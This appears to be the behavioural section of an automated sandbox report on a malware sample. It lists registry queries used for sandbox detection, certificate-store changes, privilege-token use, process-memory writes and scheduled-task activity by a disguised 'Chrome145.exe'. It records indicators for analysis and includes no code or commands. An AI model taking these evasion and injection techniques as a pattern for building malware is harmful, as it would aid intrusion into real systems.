Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Chrome145.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Chrome145.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

System Time Discovery 1 TTPs 5 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2444	msedge.exe
4876	chrome.exe
5404	msedge.exe
712	msedge.exe
5784	chrome.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1608	Chrome145.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
1872	chrome.exe
1872	chrome.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1608	Chrome145.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
2544	msedge.exe
2544	msedge.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1872	chrome.exe
Token: SeCreatePagefilePrivilege	1872	chrome.exe
Token: SeShutdownPrivilege	1872	chrome.exe
Token: SeCreatePagefilePrivilege	1872	chrome.exe
Token: SeDebugPrivilege	1608	Chrome145.exe
Token: SeShutdownPrivilege	4428	chrome.exe
Token: SeCreatePagefilePrivilege	4428	chrome.exe
Token: SeShutdownPrivilege	4428	chrome.exe
Token: SeCreatePagefilePrivilege	4428	chrome.exe
Token: SeShutdownPrivilege	4428	chrome.exe
Token: SeCreatePagefilePrivilege	4428	chrome.exe
Token: SeShutdownPrivilege	4428	chrome.exe
Token: SeCreatePagefilePrivilege	4428	chrome.exe
Token: SeDebugPrivilege	5584	powershell.exe
Token: SeShutdownPrivilege	4428	chrome.exe
Token: SeCreatePagefilePrivilege	4428	chrome.exe
Token: SeShutdownPrivilege	4428	chrome.exe
Token: SeCreatePagefilePrivilege	4428	chrome.exe
Token: SeShutdownPrivilege	5748	powercfg.exe
Token: SeCreatePagefilePrivilege	5748	powercfg.exe
Token: SeShutdownPrivilege	5128	powercfg.exe
Token: SeCreatePagefilePrivilege	5128	powercfg.exe
Token: SeShutdownPrivilege	5564	powercfg.exe
Token: SeCreatePagefilePrivilege	5564	powercfg.exe
Token: SeShutdownPrivilege	2580	powercfg.exe
Token: SeCreatePagefilePrivilege	2580	powercfg.exe
Token: SeDebugPrivilege	3820	powershell.exe
Token: SeShutdownPrivilege	4428	chrome.exe
Token: SeCreatePagefilePrivilege	4428	chrome.exe
Token: SeShutdownPrivilege	4428	chrome.exe
Token: SeCreatePagefilePrivilege	4428	chrome.exe
Token: SeShutdownPrivilege	676	powercfg.exe
Token: SeCreatePagefilePrivilege	676	powercfg.exe
Token: SeShutdownPrivilege	3780	powercfg.exe
Token: SeCreatePagefilePrivilege	3780	powercfg.exe
Token: SeShutdownPrivilege	5908	powercfg.exe
Token: SeCreatePagefilePrivilege	5908	powercfg.exe
Token: SeShutdownPrivilege	5200	powercfg.exe
Token: SeCreatePagefilePrivilege	5200	powercfg.exe
Token: SeLockMemoryPrivilege	5532	dialer.exe
Token: SeDebugPrivilege	1956	powershell.EXE
Token: SeDebugPrivilege	3872	powershell.EXE
Token: SeShutdownPrivilege	4428	chrome.exe
Token: SeCreatePagefilePrivilege	4428	chrome.exe
Token: SeShutdownPrivilege	4428	chrome.exe
Token: SeCreatePagefilePrivilege	4428	chrome.exe
Token: SeShutdownPrivilege	4428	chrome.exe
Token: SeCreatePagefilePrivilege	4428	chrome.exe
Token: SeShutdownPrivilege	4428	chrome.exe
Token: SeCreatePagefilePrivilege	4428	chrome.exe
Token: SeDebugPrivilege	3872	powershell.EXE
Token: SeDebugPrivilege	1956	powershell.EXE
Token: SeDebugPrivilege	4260	dllhost.exe
Token: SeDebugPrivilege	4468	dllhost.exe
Token: SeShutdownPrivilege	4428	chrome.exe
Token: SeCreatePagefilePrivilege	4428	chrome.exe
Token: SeDebugPrivilege	5512	powershell.exe
Token: SeShutdownPrivilege	392	dwm.exe
Token: SeCreatePagefilePrivilege	392	dwm.exe
Token: SeShutdownPrivilege	4428	chrome.exe
Token: SeCreatePagefilePrivilege	4428	chrome.exe
Token: SeDebugPrivilege	1228	powershell.exe
Token: SeShutdownPrivilege	4428	chrome.exe
Token: SeCreatePagefilePrivilege	4428	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
2544	msedge.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe
4428	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 612 wrote to memory of 1872	612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe	99
PID 1872 wrote to memory of 5844	1872	chrome.exe	100
PID 612 wrote to memory of 1872	612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe	99
PID 1872 wrote to memory of 5036	1872	chrome.exe	101
PID 1872 wrote to memory of 5036	1872	chrome.exe	101
PID 1872 wrote to memory of 5784	1872	chrome.exe	102
PID 1872 wrote to memory of 2160	1872	chrome.exe	103
PID 1872 wrote to memory of 2160	1872	chrome.exe	103
PID 1872 wrote to memory of 1676	1872	chrome.exe	105
PID 1872 wrote to memory of 1676	1872	chrome.exe	105
PID 1872 wrote to memory of 3836	1872	chrome.exe	106
PID 1872 wrote to memory of 3836	1872	chrome.exe	106
PID 1872 wrote to memory of 2768	1872	chrome.exe	107
PID 1872 wrote to memory of 2768	1872	chrome.exe	107
PID 1872 wrote to memory of 4360	1872	chrome.exe	109
PID 1872 wrote to memory of 4360	1872	chrome.exe	109
PID 612 wrote to memory of 2544	612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe	111
PID 2544 wrote to memory of 4352	2544	msedge.exe	112
PID 612 wrote to memory of 2544	612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe	111
PID 2544 wrote to memory of 1272	2544	msedge.exe	115
PID 2544 wrote to memory of 2444	2544	msedge.exe	116
PID 2544 wrote to memory of 1272	2544	msedge.exe	115
PID 2544 wrote to memory of 1272	2544	msedge.exe	115
PID 2544 wrote to memory of 3528	2544	msedge.exe	117
PID 2544 wrote to memory of 3528	2544	msedge.exe	117
PID 2544 wrote to memory of 4560	2544	msedge.exe	118
PID 2544 wrote to memory of 4560	2544	msedge.exe	118
PID 2544 wrote to memory of 4560	2544	msedge.exe	118
PID 2544 wrote to memory of 4540	2544	msedge.exe	119
PID 2544 wrote to memory of 4540	2544	msedge.exe	119
PID 2544 wrote to memory of 4540	2544	msedge.exe	119
PID 612 wrote to memory of 5188	612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe	127
PID 5188 wrote to memory of 4156	5188	cmd.exe	129
PID 4156 wrote to memory of 1608	4156	lGMhUOXJpE.exe	130
PID 612 wrote to memory of 3712	612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe	131
PID 3712 wrote to memory of 5052	3712	cmd.exe	133
PID 1608 wrote to memory of 3928	1608	Chrome145.exe	136
PID 3928 wrote to memory of 6032	3928	cmd.exe	138
PID 3928 wrote to memory of 5544	3928	cmd.exe	139
PID 3928 wrote to memory of 5972	3928	cmd.exe	201
PID 3928 wrote to memory of 3808	3928	cmd.exe	141
PID 3928 wrote to memory of 5496	3928	cmd.exe	142
PID 3928 wrote to memory of 516	3928	cmd.exe	263
PID 3928 wrote to memory of 5272	3928	cmd.exe	282
PID 3928 wrote to memory of 676	3928	cmd.exe	255
PID 3928 wrote to memory of 712	3928	cmd.exe	146
PID 3928 wrote to memory of 4120	3928	cmd.exe	147
PID 3928 wrote to memory of 3780	3928	cmd.exe	256
PID 3928 wrote to memory of 3924	3928	cmd.exe	304
PID 3928 wrote to memory of 820	3928	cmd.exe	150
PID 3928 wrote to memory of 3020	3928	cmd.exe	271
PID 3928 wrote to memory of 4052	3928	cmd.exe	152
PID 3928 wrote to memory of 2412	3928	cmd.exe	153
PID 3928 wrote to memory of 1244	3928	cmd.exe	154
PID 3928 wrote to memory of 4660	3928	cmd.exe	328
PID 3928 wrote to memory of 5664	3928	cmd.exe	281
PID 3928 wrote to memory of 432	3928	cmd.exe	157
PID 3928 wrote to memory of 2624	3928	cmd.exe	158
PID 3928 wrote to memory of 3752	3928	cmd.exe	159
PID 3928 wrote to memory of 4576	3928	cmd.exe	160
PID 3928 wrote to memory of 1508	3928	cmd.exe	161
